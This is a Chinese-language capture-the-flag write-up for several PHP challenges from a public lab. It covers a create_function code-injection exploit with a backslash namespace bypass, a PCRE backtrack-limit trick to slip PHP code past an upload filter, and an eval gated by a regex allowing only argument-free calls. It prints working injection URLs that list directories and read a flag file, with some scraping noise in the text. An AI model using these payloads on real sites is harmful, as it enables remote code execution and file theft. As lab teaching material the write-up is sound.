环境搭建
注: 如果是在服务器搭建环境 记得开放所有端口或者相应端口
在一个目录输入1
git clone https://github.com/phith0n/code-breaking.git
然后进入一个题目目录,然后输入1
docker-compose up -d
环境运行后,在docker-compose.yml中查看端口,访问即可
function
端口80871
2$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? ''
双问号为三元运算表达式1
2
3
4
5c = a ?? b;
表示如果a非空,则c = a,
如果a为空,则 c = b;
1 | 等价于 |
即输入两个参数,若输入,则取我们的输入,否则为空
然后是对$_GET['action']
的正则表达式过滤
因为正则里用了^$,那么有没有可能在开头或结尾加入某个字符来绕过正则
一旦绕过正则,则可以进行危险函数构造
%5c 是 /
仅当使用%5c打头时,我们可以正常运行var_dump(),并且成功满足正则。
那么这是为什么呢?1
2
3
4\在php中表示默认的命名空间,所有原生函数和类都在这个命名空间中
普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;
而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。
如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
接下来需要找一个第二个参数可以引发危险的函数
string create_function ( string $args , string $code )
第一个参数控制函数的变量名,第二个参数控制函数内的代码
举例:1
create_function('$fname','echo $fname."可乐"')
等价于1
2
3
4
5类似于:
function fT($fname) {
echo $fname."可乐";
}
接下来利用create_function() 注入
$arg = return “2333”;}phpinfo();/*
相当于1
2
3
4
5
6function test($a,$b)
{
return "2333";
}
phpinfo();
/*}
虽然create_function()已经移除了 但是还是会继续执行下面的phpinfo()
接下里进行读取目录
将phpinfo替换为print_r(scandir(‘../‘));即可1
/?action=%5ccreate_function&arg=return%20"2333";}print_r(scandir(%27../%27));/*
接下来读取文件内容1
?action=%5ccreate_function&arg=return%20"2333";}print_r(file_get_contents(%27../flag_h0w2execute_arb1trary_c0de%27));/*
得到flag
easy - pcrewaf
端口:80881
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
通过is_php()正则来检查$data的内容:即:
<后面不能有问号,<?后面不能有(;?>反引号
题目并没有禁止我们上传php文件,但是对文件内容进行了过滤,禁止我们写入php代码。接下来就是绕过正则
在php7 中
tags都已经被移除 所以无法使用
<%= phpinfo();
或者
接下来要利用 php正则回溯法
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
涉及到正则匹配的流程,正则匹配有两种引擎1
2DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
php的PCRE库使用的就是NFA的正则引擎,就会涉及到回溯的一个过程。
一开始 .*
会将后面的全部字符匹配到,然后为了匹配[(`;?>]
然后就会一个字符一个字符的回溯,直到匹配到最后的; ,才会进行下一个.*
的匹配
PHP为了防止正则表达式的拒绝服务攻击(回溯次数过多),限制了回溯的次数
在php5.2及之前这个次数为100000,之后一直到如今的7.2都是1000000
那么如果超过100万次会返回失败 即匹配失败1
2php > var_dump(preg_match('/<\?.*[(`;?>].*/is', '<?php phpinfo();//'.str_repeat('a', 1000000)));
bool(false)
phpmagic
端口:82
phplimit
端口:80841
2
3
4
5
6
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
代码会将$_GET['code']
中满足正则/[^\W]+\((?R)?\)/
的部分,替换为空,然后查看是否剩下的部分强等于;
如果满足,则执行1
eval($_GET['code']);
否则什么都不做。
首先是[^\W]
对于\W,其意思等价于[^A-Za-z0-9_]。
那么我们知道,我们的input必须以此开头
然后是括号匹配
1 | \( ...... \) |
括号中间为
(?R)?
意思为重复整个模式
简单理解,我们可以输入以下类型
a(b(c()))
但我们不能加参数,否则将无法匹配
a(c,d)
所以正则看完,题目的意思非常明确了:
我们只能input函数,但函数中不能使用参数,否则判断句右边经过替换,将不止剩余分号;
那么有没有办法通过无参数函数,达到RCE的目的呢?答案显然是不可能的,没有参数,怎么传递我们需要执行的指令呢?